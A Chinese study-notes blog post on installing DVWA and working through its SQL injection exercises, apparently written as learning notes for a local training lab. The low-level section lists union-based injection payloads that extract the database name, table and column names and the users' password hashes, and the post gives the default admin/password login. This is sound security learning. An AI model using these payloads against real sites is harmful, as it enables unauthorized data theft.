DVWA 環境搭建和安裝簡易使用
- 下載安裝phpstudy,這部分不用說了,肯定大家都有,或者安裝過。在瀏覽器輸入127.0.0.1,測試一下。
- 官網下載DVWA http://www.dvwa.co.uk ,解壓后放在phpstudy的www目錄下。
- 此時mysql的密碼還是空,登錄的時候會提示不能空,可以從phpstudy的界面【其他選項菜單】->【My SQL工具】->【重置密碼】。
- 將DVWA/confing下的config.inc.php.dist修改為config.inc.php,找到其中的db_password的對應值改為剛設置的。
- 瀏覽器輸入127.0.0.1/DVWA,出現登錄界面,賬戶名和密碼分別是:admin和password。
DVWA的簡介
首先,DVWA有多個模塊,涉及網絡安全的方方面面,其次,代碼等級分為Low,Medium,High,Impossible四個等級,在官方介紹中有提到High難度跟ctf接近。
因為研究生階段即將開始網安的學習,所以好好研究DVWA成了開學前給自己的重要任務。接下來將針對各個模塊進行學習筆記的記錄,因為是從頭學,所以難免啰嗦。
這篇文章只是針對我在學習研究DVWA過程中學到的知識點,和遇到的困難,有不對的地方還請大神不吝賜教。
DVWA - SQL注入
需要注意兩部分:第一,右下角有查看源代碼的按鈕,對於分析四個難度的區別很有幫助;第二,從我目前的知識水平覺得,SQL注入需要實戰經驗,所以接下來的筆記僅僅是沿着車轍,按圖索驥的學習。
【1】low
第一步,
第二步,
第三步,
第四步,
第五步,
- 1' union select 1,database()# 爆出數據庫名稱:dvwa
- 1 'UNION ALL SELECT version(),1# 爆出運行的mysql版本
- 1 'UNION ALL SELECT table_name,2 FROM information_schema.tables# 爆出所有表名(此時是所有庫里的)
- 1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'# 爆出所有表名(dvwa庫里的)
- 1' union select 1,column_name from information_schema.columns where table_name='users'# 根據爆出的表,去查找所有列
- 1' union select user,password from users# 根據所有的列名,查找需要的對應的內容(這里我把那兩個顯式的輸出分別輸出user,password)
總結:到這里low等級注入攻擊結束,已經得到需要的全部密碼了,先用單引號和and測試是否有注入點,然后暴庫,根據庫暴表,根據表暴列,根據列找到所需的所有內容。
【2】medium
第一步,分析,medium級別是一個下拉列表,當改變輸入時,網址http://127.0.0.1/dvwa/vulnerabilities/sqli/#,可見多了#,但是無論怎么改網址都不變,所以應該不是get型,而是post型。
第二步,用hackbar測試一下(這里留一個關於hackbar安裝的坑,已補坑 https://www.cnblogs.com/wayne-tao/p/11022640.html),在post中輸入 id=3&Submit=Submit,運行發現,輸出正確,post型注入可行!
第三步,這時候就已經跟low等級一樣了,在id=之后輸入注入查詢代碼即可,注意此時 ‘ 和 # 提示錯誤,推測是源代碼進行了處理,所以去掉繼續嘗試,可行!到這里medium就解決了
總結:難度主要體現在下拉列表上和輸入檢查上,可以通過工具避開,其他原理跟low一樣,除了hackbar還有burp suite也可以實現,這里留着之后專門再研究這兩個工具,留坑,
【3】high
high等級很奇怪,我發現方法跟low完全一樣,唯一的問題是,change id需要從新的窗口輸入,輸入內容上跟low完全一樣。暫時還沒明白跟low等級的區別。留坑對四個等級源代碼進行對比分析
【4】impossible
impossible等級用的pdo,目前貌似是沒法注入
目前找到的方案是關於PDO的,Are PDO safe?,但是現在我還看不懂。。。新坑
推薦兩篇博客,我感覺寫的非常好!作為引入門和工具小全查看都可以
以上,是學習SQL注入攻擊的全部筆記,會伴隨以后的學習持續更新。